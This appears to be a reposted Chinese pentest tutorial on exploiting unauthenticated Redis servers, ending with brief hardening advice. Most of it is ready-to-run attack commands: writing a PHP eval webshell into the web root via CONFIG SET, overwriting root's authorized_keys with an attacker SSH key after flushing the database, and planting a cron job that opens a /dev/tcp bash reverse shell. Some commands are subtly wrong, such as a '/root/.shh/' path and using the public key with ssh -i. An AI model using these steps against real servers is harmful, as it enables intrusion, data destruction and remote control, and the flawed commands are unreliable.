渗透测试技巧之Redis漏洞利用总结
1.未授權(quán)訪問
2.獲取webshell
3.獲取root
4.通過redis提權(quán)
5.其他的一些利用
6.redis安全配置
測試環(huán)境? CentOS 6.5 x64
Redis介紹
? Redis是一個開源的使用ANSI C語言編寫、支持網(wǎng)絡(luò)、可基于內(nèi)存亦可持久化的日志型、Key-Value數(shù)據(jù)庫。和Memcached類似,它支持存儲的value類型相對更多,包括string(字符串)、list(鏈表)、set(集合)、zset(sorted set - 有序集合)和hash(哈希類型).
這些數(shù)據(jù)類型都支持push/pop、add/remove及取交集并集和差集更豐富的操作,而且這些操作都是原子性的。在此基礎(chǔ)上,redis支持各種不同方式的排序。與memcached一樣,為了保證效率,數(shù)據(jù)都是緩存在內(nèi)存中。
區(qū)別的是redis會周期性的把更新的數(shù)據(jù)寫入磁盤或者把修改操作寫入追加的記錄文件,并且在此基礎(chǔ)上實現(xiàn)了master-slave(主從)同步。
未授權(quán)訪問
Redis默認(rèn)情況下,會綁定在0.0.0.0:6379,如果沒有進行采用相關(guān)的策略,比如添加防火墻規(guī)則避免其他非信任來源ip訪問等,這樣會將Redis服務(wù)暴露到公網(wǎng)上,如果在沒有設(shè)置密碼認(rèn)證(一般為空)的情況下,會導(dǎo)致任意用戶在可以訪問目標(biāo)服務(wù)器的情況下未授權(quán)訪問Redis以及讀取Redis的數(shù)據(jù)。
攻擊者在未授權(quán)訪問Redis的情況下,利用Redis自身的提供的config命令,可以進行寫文件操作,攻擊者可以成功將自己的ssh公鑰寫入目標(biāo)服務(wù)器的/root/.ssh文件夾的authoritrized_keys文件中,進而可以使用對應(yīng)私鑰直接使用ssh服務(wù)登錄目標(biāo)服務(wù)器。
默認(rèn)安裝redis,其中啟動權(quán)限就為root。并且是任意ip可以未授權(quán)訪問。
獲取webshell
條件:知道web絕對路徑,redis運行的用戶需要對web目錄要有寫的權(quán)限
http://10.211.55.10/phpinfo.php
然后通過客戶端鏈接
redis-cli -h 10.211.55.10
config set dir /var/www/html/ set shell <?php eval($_REQUEST[\'syclover\'])?> config set dbfilename syclover.php save exit存在的問題,如果redis里面的數(shù)據(jù)量特別大并且前面存在<?php之類的符號
先通過randomkey來查看鍵值之間的規(guī)律,然后可以將數(shù)據(jù)庫備份下來,找到包含<?php的鍵名,通過keys *str*找到真正的鍵名,然后去修改這個鍵名。因為數(shù)據(jù)量很大所以備份的shell也很大,然后在生成shell的時候,可以設(shè)置不超時,并且在生成完成之后就退出。
獲取root
victim server CentOS6.6+redis2.4 192.168.192.133 attack server CentOS6.6 192.168.192.132先在attack server生成一個公鑰
ssh-keygen -t rsa -C "redis"
(echo -e "\n\n"; cat redis.pub; echo -e "\n\n") > redis.txt
然后執(zhí)行
redis-cli -h 192.168.192.133 flushall cat redis.txt | redis-cli -h 192.168.192.133 -x set pwn登錄redis redis-cli -h 192.168.192.133
CONFIG set dir /root/.shh/ config set dbfilename "authorized_keys" save exit然后就可以使用ssh的私鑰登錄了
ssh -i redis.pub root@192.168.192.133缺點:flushall太暴力直接清空數(shù)據(jù)庫,覆蓋authorized_keys,導(dǎo)致原有的認(rèn)證失效。
通過redis提權(quán)
獲取了一個webshell,但是權(quán)限很低,發(fā)現(xiàn)存在redis服務(wù)但是只能本地訪問,然后通過上面的方法可以成功提權(quán)。
其他玩法
redis+crontab
redis-cli config set dir /var/spool/cron/ redis-cli config set dbfilename root echo -e "\n\n*/1 * * * * bash -i >& /dev/tcp/127.0.0.1/8443 0>&1 \n\n"|redis-cli -x set 1 redis-cli save nc -lvv 8443redis安全配置
1.設(shè)置只對本機開機bind 127.0.0.1
2.設(shè)置密碼requirepass tomato
3.修改默認(rèn)端口12345
4.低權(quán)限啟動
5.如果需要對外提供服務(wù)的話,設(shè)置iptables規(guī)則
?
exploit-db上關(guān)于Redis的漏洞
總結(jié)
以上是生活随笔為你收集整理的渗透测试技巧之Redis漏洞利用总结的全部內(nèi)容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: Github中Tag的使用
- 下一篇: 使用Golang自定义Kubernete